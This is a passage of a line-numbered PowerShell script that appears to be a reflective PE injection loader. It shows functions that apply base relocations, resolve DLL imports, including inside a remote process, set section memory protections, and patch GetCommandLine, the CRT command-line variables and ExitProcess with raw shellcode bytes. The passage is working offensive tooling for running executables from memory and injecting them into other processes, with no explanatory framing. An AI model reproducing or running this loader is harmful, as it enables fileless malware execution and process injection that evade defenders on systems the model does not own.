  1501.                 -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
  1502.         {
  1503.             return
  1504.         }
  1505.  
  1506.  
  1507.         elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
  1508.         {
  1509.             $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
  1510.             $AddDifference = $false
  1511.         }
  1512.         elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
  1513.         {
  1514.             $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
  1515.         }
  1516.  
  1517.  
  1518.         [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
  1519.         while($true)
  1520.         {
  1521.  
  1522.             $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
  1523.  
  1524.             if ($BaseRelocationTable.SizeOfBlock -eq 0)
  1525.             {
  1526.                 break
  1527.             }
  1528.  
  1529.             [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
  1530.             $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
  1531.  
  1532.  
  1533.             for($i = 0; $i -lt $NumRelocations; $i++)
  1534.             {
  1535.  
  1536.                 $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
  1537.                 [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
  1538.  
  1539.  
  1540.                 [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
  1541.                 [UInt16]$RelocType = $RelocationInfo -band 0xF000
  1542.                 for ($j = 0; $j -lt 12; $j++)
  1543.                 {
  1544.                     $RelocType = [Math]::Floor($RelocType / 2)
  1545.                 }
  1546.  
  1547.  
  1548.  
  1549.  
  1550.                 if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
  1551.                         -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
  1552.                 {
  1553.  
  1554.                     [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
  1555.                     [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
  1556.  
  1557.                     if ($AddDifference -eq $true)
  1558.                     {
  1559.                         [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
  1560.                     }
  1561.                     else
  1562.                     {
  1563.                         [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
  1564.                     }
  1565.  
  1566.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
  1567.                 }
  1568.                 elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
  1569.                 {
  1570.  
  1571.                     Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
  1572.                 }
  1573.             }
  1574.  
  1575.             $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
  1576.         }
  1577.     }
  1578.  
  1579.  
  1580.     Function Import-DllImports
  1581.     {
  1582.         Param(
  1583.         [Parameter(Position = 0, Mandatory = $true)]
  1584.         [System.Object]
  1585.         $PEInfo,
  1586.  
  1587.         [Parameter(Position = 1, Mandatory = $true)]
  1588.         [System.Object]
  1589.         $Win32Functions,
  1590.  
  1591.         [Parameter(Position = 2, Mandatory = $true)]
  1592.         [System.Object]
  1593.         $Win32Types,
  1594.  
  1595.         [Parameter(Position = 3, Mandatory = $true)]
  1596.         [System.Object]
  1597.         $Win32Constants,
  1598.  
  1599.         [Parameter(Position = 4, Mandatory = $false)]
  1600.         [IntPtr]
  1601.         $RemoteProcHandle
  1602.         )
  1603.  
  1604.         $RemoteLoading = $false
  1605.         if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
  1606.         {
  1607.             $RemoteLoading = $true
  1608.         }
  1609.  
  1610.         if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
  1611.         {
  1612.             [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
  1613.  
  1614.             while ($true)
  1615.             {
  1616.                 $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
  1617.  
  1618.  
  1619.                 if ($ImportDescriptor.Characteristics -eq 0 `
  1620.                         -and $ImportDescriptor.FirstThunk -eq 0 `
  1621.                         -and $ImportDescriptor.ForwarderChain -eq 0 `
  1622.                         -and $ImportDescriptor.Name -eq 0 `
  1623.                         -and $ImportDescriptor.TimeDateStamp -eq 0)
  1624.                 {
  1625.                     Write-Verbose "Done importing DLL imports"
  1626.                     break
  1627.                 }
  1628.  
  1629.                 $ImportDllHandle = [IntPtr]::Zero
  1630.                 $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
  1631.                 $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
  1632.  
  1633.                 if ($RemoteLoading -eq $true)
  1634.                 {
  1635.                     $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
  1636.                 }
  1637.                 else
  1638.                 {
  1639.                     $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
  1640.                 }
  1641.  
  1642.                 if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
  1643.                 {
  1644.                     throw "Error importing DLL, DLLName: $ImportDllPath"
  1645.                 }
  1646.  
  1647.  
  1648.                 [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
  1649.                 [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics)
  1650.                 [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
  1651.  
  1652.                 while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
  1653.                 {
  1654.                    $LoadByOrdinal = $false
  1655.                    [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
  1656.  
  1657.  
  1658.  
  1659.                     [IntPtr]$NewThunkRef = [IntPtr]::Zero
  1660.                     if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
  1661.                     {
  1662.                         [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff
  1663.                        $LoadByOrdinal = $true
  1664.                     }
  1665.                    elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
  1666.                     {
  1667.                         [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff
  1668.                        $LoadByOrdinal = $true
  1669.                     }
  1670.                     else
  1671.                     {
  1672.                         [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
  1673.                         $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
  1674.                         $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
  1675.                        $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
  1676.                     }
  1677.  
  1678.                     if ($RemoteLoading -eq $true)
  1679.                     {
  1680.                         [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
  1681.                     }
  1682.                     else
  1683.                     {
  1684.                         [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
  1685.                     }
  1686.  
  1687.                     if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
  1688.                     {
  1689.                        if ($LoadByOrdinal)
  1690.                        {
  1691.                            Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
  1692.                        }
  1693.                        else
  1694.                        {
  1695.                             Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
  1696.                        }
  1697.                     }
  1698.  
  1699.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
  1700.  
  1701.                     $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
  1702.                     [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
  1703.                     [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
  1704.  
  1705.  
  1706.  
  1707.                    if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
  1708.                    {
  1709.                        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
  1710.                        $ProcedureNamePtr = [IntPtr]::Zero
  1711.                    }
  1712.                 }
  1713.  
  1714.                 $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
  1715.             }
  1716.         }
  1717.     }
  1718.  
  1719.     Function Get-VirtualProtectValue
  1720.     {
  1721.         Param(
  1722.         [Parameter(Position = 0, Mandatory = $true)]
  1723.         [UInt32]
  1724.         $SectionCharacteristics
  1725.         )
  1726.  
  1727.         $ProtectionFlag = 0x0
  1728.         if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
  1729.         {
  1730.             if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
  1731.             {
  1732.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1733.                 {
  1734.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
  1735.                 }
  1736.                 else
  1737.                 {
  1738.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
  1739.                 }
  1740.             }
  1741.             else
  1742.             {
  1743.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1744.                 {
  1745.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
  1746.                 }
  1747.                 else
  1748.                 {
  1749.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE
  1750.                 }
  1751.             }
  1752.         }
  1753.         else
  1754.         {
  1755.             if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
  1756.             {
  1757.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1758.                 {
  1759.                     $ProtectionFlag = $Win32Constants.PAGE_READWRITE
  1760.                 }
  1761.                 else
  1762.                 {
  1763.                     $ProtectionFlag = $Win32Constants.PAGE_READONLY
  1764.                 }
  1765.             }
  1766.             else
  1767.             {
  1768.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1769.                 {
  1770.                     $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
  1771.                 }
  1772.                 else
  1773.                 {
  1774.                     $ProtectionFlag = $Win32Constants.PAGE_NOACCESS
  1775.                 }
  1776.             }
  1777.         }
  1778.  
  1779.         if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
  1780.         {
  1781.             $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
  1782.         }
  1783.  
  1784.         return $ProtectionFlag
  1785.     }
  1786.  
  1787.     Function Update-MemoryProtectionFlags
  1788.     {
  1789.         Param(
  1790.         [Parameter(Position = 0, Mandatory = $true)]
  1791.         [System.Object]
  1792.         $PEInfo,
  1793.  
  1794.         [Parameter(Position = 1, Mandatory = $true)]
  1795.         [System.Object]
  1796.         $Win32Functions,
  1797.  
  1798.         [Parameter(Position = 2, Mandatory = $true)]
  1799.         [System.Object]
  1800.         $Win32Constants,
  1801.  
  1802.         [Parameter(Position = 3, Mandatory = $true)]
  1803.         [System.Object]
  1804.         $Win32Types
  1805.         )
  1806.  
  1807.         for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
  1808.         {
  1809.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
  1810.             $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
  1811.             [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
  1812.  
  1813.             [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
  1814.             [UInt32]$SectionSize = $SectionHeader.VirtualSize
  1815.  
  1816.             [UInt32]$OldProtectFlag = 0
  1817.             Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
  1818.             $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
  1819.             if ($Success -eq $false)
  1820.             {
  1821.                 Throw "Unable to change memory protection"
  1822.             }
  1823.         }
  1824.     }
  1825.  
  1826.  
  1827.  
  1828.     Function Update-ExeFunctions
  1829.     {
  1830.         Param(
  1831.         [Parameter(Position = 0, Mandatory = $true)]
  1832.         [System.Object]
  1833.         $PEInfo,
  1834.  
  1835.         [Parameter(Position = 1, Mandatory = $true)]
  1836.         [System.Object]
  1837.         $Win32Functions,
  1838.  
  1839.         [Parameter(Position = 2, Mandatory = $true)]
  1840.         [System.Object]
  1841.         $Win32Constants,
  1842.  
  1843.         [Parameter(Position = 3, Mandatory = $true)]
  1844.         [String]
  1845.         $ExeArguments,
  1846.  
  1847.         [Parameter(Position = 4, Mandatory = $true)]
  1848.         [IntPtr]
  1849.         $ExeDoneBytePtr
  1850.         )
  1851.  
  1852.  
  1853.         $ReturnArray = @()
  1854.  
  1855.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1856.         [UInt32]$OldProtectFlag = 0
  1857.  
  1858.         [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
  1859.         if ($Kernel32Handle -eq [IntPtr]::Zero)
  1860.         {
  1861.             throw "Kernel32 handle null"
  1862.         }
  1863.  
  1864.         [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
  1865.         if ($KernelBaseHandle -eq [IntPtr]::Zero)
  1866.         {
  1867.             throw "KernelBase handle null"
  1868.         }
  1869.  
  1870.  
  1871.  
  1872.  
  1873.         $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
  1874.         $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
  1875.  
  1876.         [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
  1877.         [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
  1878.  
  1879.         if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
  1880.         {
  1881.             throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
  1882.         }
  1883.  
  1884.  
  1885.         [Byte[]]$Shellcode1 = @()
  1886.         if ($PtrSize -eq 8)
  1887.         {
  1888.             $Shellcode1 += 0x48
  1889.         }
  1890.         $Shellcode1 += 0xb8
  1891.  
  1892.         [Byte[]]$Shellcode2 = @(0xc3)
  1893.         $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
  1894.  
  1895.  
  1896.  
  1897.         $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  1898.         $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  1899.         $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
  1900.         $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
  1901.         $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
  1902.         $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
  1903.  
  1904.  
  1905.         [UInt32]$OldProtectFlag = 0
  1906.         $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1907.         if ($Success = $false)
  1908.         {
  1909.             throw "Call to VirtualProtect failed"
  1910.         }
  1911.  
  1912.         $GetCommandLineAAddrTemp = $GetCommandLineAAddr
  1913.         Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
  1914.         $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
  1915.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
  1916.         $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
  1917.         Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
  1918.  
  1919.         $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1920.  
  1921.  
  1922.  
  1923.         [UInt32]$OldProtectFlag = 0
  1924.         $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1925.         if ($Success = $false)
  1926.         {
  1927.             throw "Call to VirtualProtect failed"
  1928.         }
  1929.  
  1930.         $GetCommandLineWAddrTemp = $GetCommandLineWAddr
  1931.         Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
  1932.         $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
  1933.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
  1934.         $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
  1935.         Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
  1936.  
  1937.         $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1938.  
  1939.  
  1940.  
  1941.  
  1942.  
  1943.  
  1944.  
  1945.  
  1946.         $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
  1947.             , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
  1948.  
  1949.         foreach ($Dll in $DllList)
  1950.         {
  1951.             [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
  1952.             if ($DllHandle -ne [IntPtr]::Zero)
  1953.             {
  1954.                 [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
  1955.                 [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
  1956.                 if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
  1957.                 {
  1958.                     "Error, couldn't find _wcmdln or _acmdln"
  1959.                 }
  1960.  
  1961.                 $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
  1962.                 $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
  1963.  
  1964.  
  1965.                 $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
  1966.                 $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
  1967.                 $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1968.                 $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1969.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
  1970.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
  1971.                 $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
  1972.                 $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
  1973.  
  1974.                 $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1975.                 if ($Success = $false)
  1976.                 {
  1977.                     throw "Call to VirtualProtect failed"
  1978.                 }
  1979.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
  1980.                 $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
  1981.  
  1982.                 $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1983.                 if ($Success = $false)
  1984.                 {
  1985.                     throw "Call to VirtualProtect failed"
  1986.                 }
  1987.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
  1988.                 $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
  1989.             }
  1990.         }
  1991.  
  1992.  
  1993.  
  1994.  
  1995.  
  1996.  
  1997.         $ReturnArray = @()
  1998.         $ExitFunctions = @()
  1999.  
  2000.  
  2001.         [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
  2002.         if ($MscoreeHandle -eq [IntPtr]::Zero)
  2003.         {
  2004.             throw "mscoree handle null"
  2005.         }
  2006.         [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
  2007.         if ($CorExitProcessAddr -eq [IntPtr]::Zero)
  2008.         {
  2009.             Throw "CorExitProcess address not found"
  2010.         }
  2011.         $ExitFunctions += $CorExitProcessAddr
  2012.  
  2013.  
  2014.         [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
  2015.         if ($ExitProcessAddr -eq [IntPtr]::Zero)
  2016.         {
  2017.             Throw "ExitProcess address not found"
  2018.         }
  2019.         $ExitFunctions += $ExitProcessAddr
  2020.  
  2021.         [UInt32]$OldProtectFlag = 0
  2022.         foreach ($ProcExitFunctionAddr in $ExitFunctions)
  2023.         {
  2024.             $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
  2025.  
  2026.  
  2027.             [Byte[]]$Shellcode1 = @(0xbb)
  2028.             [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
  2029.  
  2030.             if ($PtrSize -eq 8)
  2031.             {
  2032.                 [Byte[]]$Shellcode1 = @(0x48, 0xbb)
  2033.                 [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
  2034.             }
  2035.             [Byte[]]$Shellcode3 = @(0xff, 0xd3)
  2036.             $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
  2037.  
  2038.             [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
  2039.             if ($ExitThreadAddr -eq [IntPtr]::Zero)
  2040.             {
  2041.                 Throw "ExitThread address not found"
  2042.             }
  2043.  
  2044.             $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
  2045.             if ($Success -eq $false)
  2046.             {
  2047.                 Throw "Call to VirtualProtect failed"
  2048.             }
  2049.  
  2050.  
  2051.             $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  2052.             $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
  2053.             $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
  2054.  
  2055.  
  2056.  
  2057.             Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
  2058.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
  2059.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
  2060.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
  2061.             Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
  2062.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
  2063.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
  2064.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
  2065.             Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
  2066.  
  2067.             $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  2068.         }
  2069.  
  2070.  
  2071.         Write-Output $ReturnArray
  2072.     }
  2073.  
  2074.  
  2075.  
  2076.  
  2077.     Function Copy-ArrayOfMemAddresses
  2078.     {
  2079.         Param(
  2080.         [Parameter(Position = 0, Mandatory = $true)]
  2081.         [Array[]]
  2082.         $CopyInfo,
  2083.  
  2084.         [Parameter(Position = 1, Mandatory = $true)]
  2085.         [System.Object]
  2086.         $Win32Functions,
  2087.  
  2088.         [Parameter(Position = 2, Mandatory = $true)]
  2089.         [System.Object]
  2090.         $Win32Constants
  2091.         )
  2092.  
  2093.         [UInt32]$OldProtectFlag = 0
  2094.         foreach ($Info in $CopyInfo)
  2095.         {
